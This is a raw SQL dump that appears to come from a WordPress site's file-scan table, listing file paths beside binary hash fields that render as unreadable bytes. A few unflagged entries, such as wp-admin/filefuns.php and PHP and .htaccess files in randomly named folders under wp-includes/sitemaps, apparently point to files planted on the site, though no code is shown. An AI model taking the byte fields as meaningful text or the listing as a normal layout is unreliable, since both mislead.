('\r^$xL\Z+','wp-includes/js/dist/script-modules/block-library/tabs/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/tabs/view.js',0,'M@\")[Ρ᠓	','M@\")[Ρ᠓	','e5kS*nOG6kR\"UmQ','',0,'?'),
('PB\nZY P','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-notice-control.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-notice-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?-jl\0+','?dRڣB>JmўO$ǡH','',0,'?'),
('HY/,Fv','wp-includes/blocks/query-title/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-title/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9-mCl-h','i)!nle#aniqla\nOX','',0,'?'),
('/e:le4m!@','wp-content/plugins/loginizer/lib/hybridauth/HttpClient/Guzzle.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/HttpClient/Guzzle.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!QC-cE','=EAwᩃY)g3e\\,I$;I','',0,'?'),
(' a\"KwTbc1S','wp-admin/css/revisions.css','/home/trevorkl/trevorklee.com/wp-admin/css/revisions.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|y}.0L;em','V۝GR{\0K\\^PA','',0,'?'),
('!2l!Z[_ϙ','wp-includes/blocks/media-text/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('-[ip\\^]','wp-includes/widgets/class-wp-widget-tag-cloud.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-tag-cloud.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','il¹+XZܚ','p^B&ROގD\0','',0,'?'),
('0&Y','wp-content/plugins/wordfence/vendor/composer/LICENSE','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/LICENSE',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']_#D\0','\Z ے%4~N~Gh!b:wɌ\'','',0,'?'),
('4ge>ߝ','wp-admin/images/list-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/list-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hջIS2ig','JpS_X#UB-z,','',0,'?'),
('JW5t+Z~','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ѳ,zl$xsR','\\\\c8l\ni(\Zx=n','',0,'?'),
('OOwTM\rY!d','wp-includes/js/mediaelement/mediaelement.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelement.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ii:ρa0','F;(Dԥ$Tc#Vd\0K','',0,'?'),
(']ǿ|IC','wp-includes/js/dist/keycodes.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/keycodes.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O 6@s','Qv<70WTfL.i(z,f{Gl','',0,'?'),
('fkjNUei4=%','wp-admin/js/tags.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/tags.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vLD%Hd','$t\0>_/*qU<hI%b 4a','',0,'?'),
('y%Ǻ~ne\"V','wp-admin/css/list-tables-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/list-tables-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ö`;ORf','P-a/zG{`\'_LM\r7','',0,'?'),
('ynW]ĳRmr','wp-admin/js/site-icon.js','/home/trevorkl/trevorklee.com/wp-admin/js/site-icon.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aJY@l%CN','@A9&q`Xi2\rC=','',0,'?'),
('!ak@A7$','wp-includes/js/dist/script-modules/block-library/file/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/file/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$>-Jhab4 ','h%{pٍV)%Ln*`','',0,'?'),
('/-TǻT<S','wp-content/plugins/wordfence/modules/login-security/classes/controller/captcha.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/captcha.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{ݏ\\%Dkwj',']TS.{aMl\0','',0,'?'),
('*0+j&{Ew','wp-includes/css/dist/block-editor/content.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/content.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Bcj>P4I','ln}0um:[ s','',0,'?'),
('rN(M\\','wp-includes/blocks/post-title/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E9ʢ.`BP','bXjLX@so9E\r{;mF','',0,'?'),
('p@wNj','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ristretto255.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ristretto255.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Us	','ilw\n^E|\" S沄Bi','',0,'?'),
('1o%qA','wp-admin/js/inline-edit-post.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/inline-edit-post.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L$KN\"&:','.i`K\\Z+`RÈK<zu','',0,'?'),
('QjDԣxJ','wp-content/plugins/wordfence/views/scanner/text/issue-diskSpace.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-diskSpace.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','so;IBMBY_',':Əaȩeɿ2\\>Ǹi+','',0,'?'),
('TL ߈,]զm','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/SodiumException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/SodiumException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8	:{We','6{w^GkΫ25b\r񓫄','',0,'?'),
('l΅?r:q','wp-includes/SimplePie/src/HTTP/RawTextResponse.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/RawTextResponse.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b%r','H7Y\"<\\XU,ާ\0','',0,'?'),
('[~paXb','wp-content/uploads/ig-logs/index.html','/home/trevorkl/trevorklee.com/wp-content/uploads/ig-logs/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('AYךfM6ˮ','wp-content/plugins/loginizer/main/settings/recaptcha.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/recaptcha.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j=E(T\"x@@','\0\Z\\DkVXhYp*o5|ڪ','',0,'?'),
('|xYiF','wp-content/themes/twentytwentyone/assets/sass/06-components/footer-navigation.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/footer-navigation.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۇS9xL8','(D\ZokUBO)Cx\\iMoN','',0,'?'),
('ESc+#)','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uNmSC{','P~{p}x{82hXx','',0,'?'),
('+[|p;','wp-admin/images/contribute-no-code.svg','/home/trevorkl/trevorklee.com/wp-admin/images/contribute-no-code.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X?LlR\'1','lCQ,\\#[+*le2','',0,'?'),
('ˋAFwD4B\0','wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F5Uo5','cj$ÍK؊7Ͻd}[i<{','',0,'?'),
('F{A','wp-content/plugins/wordfence/lib/sysinfo.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/sysinfo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l{=jɷ','%_(ҍ$Je}X%`fK\ZJkh|','',0,'?'),
('EQ?	(','wp-includes/class-oembed.php','/home/trevorkl/trevorklee.com/wp-includes/class-oembed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Yҿ~KH<f','? An6&z\'`,j]mv','',0,'?'),
('߷?{S>','wp-includes/blocks/query-title/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-title/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('.݁BxKY','wp-includes/ms-default-filters.php','/home/trevorkl/trevorklee.com/wp-includes/ms-default-filters.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"r\0R','YK<	1AOAUhPC','',0,'?'),
('z_	t\\arg','wp-includes/blocks/comments-pagination-numbers/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cPudeOޕūo','6iOɭwXGV95-IZ','',0,'?'),
('6~e{\".w','wp-includes/widgets/class-wp-widget-recent-comments.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-recent-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<F`','ԃOh	8qp=F[r','',0,'?'),
('IhJ 9{<','wp-admin/filefuns.php','/home/trevorkl/trevorklee.com/wp-admin/filefuns.php',0,'p$1yo4_S*@','p$1yo4_S*@','Z sN_<Ɋi˻X\'\ZF7','',0,'?'),
('*O-Lτ\r[u','wp-admin/css/about-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/about-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yXRHqҏ','/WU~*].谛@$`m','',0,'?'),
('-Uަ>X|R','wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/f35c.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/f35c.php',0,'Ls~_=ϵ','Ls~_=ϵ','TZe[*P}\\PHLaEg','',0,'?'),
('??n_2gj','wp-includes/js/wp-util.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-util.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7(qZ','\\gig9d\0˥N@VTAA','',0,'?'),
('CEK_Ay[ж','wp-includes/blocks/site-title/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Sǎp&T^l','`	*3Uev\'t	ukU9r','',0,'?'),
('Yg$zH.Y','wp-content/plugins/wordfence/modules/login-security/views/settings/user-stats.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/settings/user-stats.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9sF#F\\a','dؑV&Ty\\60?@SFlHpV^','',0,'?'),
('b:F16q\\ZH\'','wp-includes/SimplePie/library/SimplePie/Decode/HTML/Entities.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Decode/HTML/Entities.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	xjTL<]','ct:@tRv\ZN','',0,'?'),
('k4DωN','wp-content/themes/twentytwentyfour/patterns/page-about-business.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-about-business.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TaCIxo\'6R','. ﻎ<p> d1F0LZ\'','',0,'?'),
('u\Z ׀+>','wp-includes/blocks/image/view.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mv','cm)(ah<<E','',0,'?'),
('{#(?5%','wp-content/themes/twentytwentyfour/templates/page.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':߅;n3/','EDO\"y{O҄!clςB','',0,'?'),
('OƸ)[u˓u','wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-VariableFont_wdth,wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-VariableFont_wdth,wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z` Z<\0*3','J#LӬB)\r&Akij@8cqn','',0,'?'),
('>Z	8r','wp-includes/sitemaps/kjfl1bg/ky1monx/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
(';dAo+d(','wp-includes/blocks/quote/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3Iua7@͓_','l՟\"ܽm#>K','',0,'?'),
('jޘ','wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/index.php',0,'_TXwv','_TXwv','8Ĺ	Ȋ(q/[.1]','',0,'?'),
('mӟa','wp-includes/blocks/post-featured-image/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӿaB\" k','A˃] a\ZY|}TE:zd','',0,'?'),
('`$ϮO\0i','wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M/gs<ff󾂚j','64]p@j#\\-qLWi','',0,'?'),
('($ڻ40','wp-content/themes/twentytwentyfive/styles/blocks/03-annotation.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/03-annotation.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%_Q`g','#qͷ%UnAxDw7pX','',0,'?'),
('\nRbxg','wp-includes/css/dist/block-library/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\z_Uϒ$ݜX]r','0dCҘx2JKSo','',0,'?'),
('K\'\Zxrx','wp-content/themes/twentytwentyone/assets/sass/06-components/footer.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/footer.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ϙd#y','&3p8-\rlt3hyefQrJJ','',0,'?'),
('Y\0)\r/j)Ar','wp-includes/customize/class-wp-customize-filter-setting.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-filter-setting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M`f\0iu','\0<\nj:YFdw	','',0,'?'),
('	\"{`ԙ[:	l','wp-content/plugins/loginizer/lib/hybridauth/Hybridauth.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Hybridauth.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','USpZ\nyݤ+M','4k=6tiMn>\\Y,\0H','',0,'?'),
('Ph`|/:W\0','wp-includes/blocks/columns/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','++F3\rn','!ã;hZDay^ZtU췸5','',0,'?'),
('$n1U\\x(','wp-includes/blocks/missing/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/missing/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c+/FL:','	qdT{XN^I؅Yu=','',0,'?'),
('$_Xla','wp-includes/js/jquery/ui/sortable.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/sortable.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SI&@','-mۆZI@b,8{3Zy Q}','',0,'?'),
('+I6з2','wp-content/themes/twentytwentytwo/parts/footer.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/footer.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!>x)V)PEG','1Jgnk_dN[%Q`|!(c2','',0,'?'),
('R;lzO8m<3Nie','wp-admin/user/freedoms.php','/home/trevorkl/trevorklee.com/wp-admin/user/freedoms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`U }\n','οzB+q5VlKlkZ/|','',0,'?'),
('RHp,&Mv','wp-includes/blocks/home-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/home-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('afh=FT:6','wp-admin/includes/class-ftp-sockets.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-ftp-sockets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zc78\rjjؒ','Q,0\rNQJYmʼ0A','',0,'?'),
('ik[!gW}vȵ','wp-includes/blocks/image/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1_21mT:','%#.\rxAV3Bf+{','',0,'?'),
('nYxʘ)<	!;','wp-includes/js/tinymce/skins/wordpress/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(';~ӷR>','wp-includes/class.wp-scripts.php','/home/trevorkl/trevorklee.com/wp-includes/class.wp-scripts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7 #Kh+','ruڶbW87fG]k\0f5','',0,'?'),
('nvpe}','wp-admin/js/customize-controls.js','/home/trevorkl/trevorklee.com/wp-admin/js/customize-controls.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K%%;{vya)','BO9[\nU2He5֠y:@}','',0,'?'),
('ǽ\Z\rm%Q1+I1','wp-content/themes/twentytwentyfour/assets/fonts/inter/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/inter/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',\\u`','x`R#GEd[qȟh\nxs','',0,'?'),
('DTǡ#\"1?','wp-includes/blocks/cover/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ua=%˛y','@*/HCY?:IwGdo4AE^','',0,'?'),
('PZ27Mn','wp-includes/blocks/rss/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','clsv4\r','h;X#0A(Gbɿr','',0,'?'),
('*h^','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat_const.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat_const.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'crϙDq5\'G~','H.#\nDu9uq<fA	eV1','',0,'?'),
('B\\u}L,','wp-includes/css/dist/block-directory/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-directory/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D\n]2Ooa','[|/94 }O\0D( Gݦ','',0,'?'),
(':[fKZ?','wp-content/themes/twentytwentyone/assets/sass/06-components/comments.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/comments.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']N.,','rŃM\n.HD3wmyb','',0,'?'),
('(_JD~','wp-content/themes/twentynineteen/inc/block-patterns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/block-patterns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','͔T','5w~i]L`oJ2\"n','',0,'?'),
('\"QOOPb','wp-includes/blocks/group/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3jCOѺ}`xݰ','GCf0S\"hsp4YuR\Z$xqO','',0,'?'),
('#:SkU{','wp-content/plugins/wordfence/modules/login-security/classes/model/view.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/view.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*:?l]u','2P탚=w=7Ar\nfQ~,B','',0,'?'),
('(|nsARF+','wp-includes/js/crop/marqueeHoriz.gif','/home/trevorkl/trevorklee.com/wp-includes/js/crop/marqueeHoriz.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̮;Lo\n','|Se|./QYW}(','',0,'?'),
('0,M_)','wp-includes/blocks/comment-content/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-content/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v%]K','U֑w@,m1ŴC,\"FYjk','',0,'?'),
('G	ђO5)l\n\Z','wp-includes/SimplePie/src/Cache/CallableNameFilter.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3cxV<]N%F','&A\r/yhetqp8Z!^','',0,'?'),
('P% ݢI`|','wp-content/themes/twentytwentyfour/patterns/cta-services-image-left.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-services-image-left.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Bd程\\+X','~\\.\Zժ7,rOJ=@,0<','',0,'?'),
('[\'/;','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305/State.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','܆)C/կ ٝ','1\'CAUu3iffDtl~','',0,'?'),
('c:Qk2	 6','wp-includes/blocks/columns/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z.\n=Z؟y','|_0Gn5f_Nx9EL\n6T','',0,'?'),
('cJoQqt#R	','wp-content/plugins/akismet/abilities/interface-akismet-ability.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/interface-akismet-ability.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0FD$Byu|','ߨ98l\\M @','',0,'?'),
('s0\n?Wjly','wp-includes/SimplePie/library/SimplePie/XML/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/XML/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(':[&b[hY','wp-includes/images/smilies/icon_razz.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_razz.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9[wDAMA',';P1]fUE;`Qڮ\neZ\0@4aA','',0,'?'),
('x2_.~$)','wp-includes/js/dist/core-data.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-data.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',l<g	I-','_xV,)dժ;l','',0,'?'),
('3|QoNۗ砯','wp-includes/blocks/video.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/video.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sSM','Waa\'ƄƋ^ܚ9%V۾Zl#','',0,'?'),
('À/\ZHQ9\'^','wp-includes/blocks/accordion-panel/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-panel/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&-PSag','O,G*rzj1]A%','',0,'?'),
('\rGy5@QyH','wp-content/plugins/loginizer/assets/js/jquery-paginate.js','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/js/jquery-paginate.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	y1ZS-','UMmt4E2S9\Z#p','',0,'?'),
('9ha','wp-includes/css/dist/reusable-blocks/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('֤;/*q','wp-includes/js/dist/script-modules/latex-to-mathml/loader.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/latex-to-mathml/loader.min.js',0,'\")-P}5','\")-P}5','54[goi;\0Mڣ^','',0,'?'),
('$tզ}	T','wp-includes/blocks/code/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	Dn4\rt)','i\Z͆\n8E,uAhy\'J{','',0,'?'),
('Ὀ5f?hk','wp-includes/widgets/class-wp-widget-media-audio.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-audio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w#e8za','mBDYt5OlEmtf','',0,'?'),
('fPچߛE','wp-includes/SimplePie/library/SimplePie/Net/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Net/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('c̍{GQ&M','wp-content/themes/twentytwentyfive/patterns/banner-poster.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-poster.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ú\0ye8a','d<Btܻ j7[`լ5M','',0,'?'),
('lZWН[\0','wp-includes/sitemaps/lpshcut/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('8`9?BbБ','wp-includes/js/jquery/ui/effect-puff.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-puff.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*GwUJM','p[SAg.#/%$,D\"e>C','',0,'?'),
('\n /Y','wp-includes/js/dist/data-controls.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/data-controls.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Mf`!@ջB','Tuw{89&j0~cxM','',0,'?'),
('}VI','wp-includes/blocks/cover.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȔL^Akm\'','ϐ[zǩ߇=½Zlc >','',0,'?'),
('+F4\nq\"]','wp-includes/blocks/table/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^q%mZ,1','WO)j)Ag3$0$[m','',0,'?'),
('c̎$\n\'@\r','wp-admin/setup-config.php','/home/trevorkl/trevorklee.com/wp-admin/setup-config.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J6H֒','lc2]Ə>\'Nߛ3TЋC-','',0,'?'),
('m֙7,}ov','wp-includes/css/dist/block-library/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=dsHKRvYu','e 	}\"J/TwW>6k]o\\ieaiK','',0,'?'),
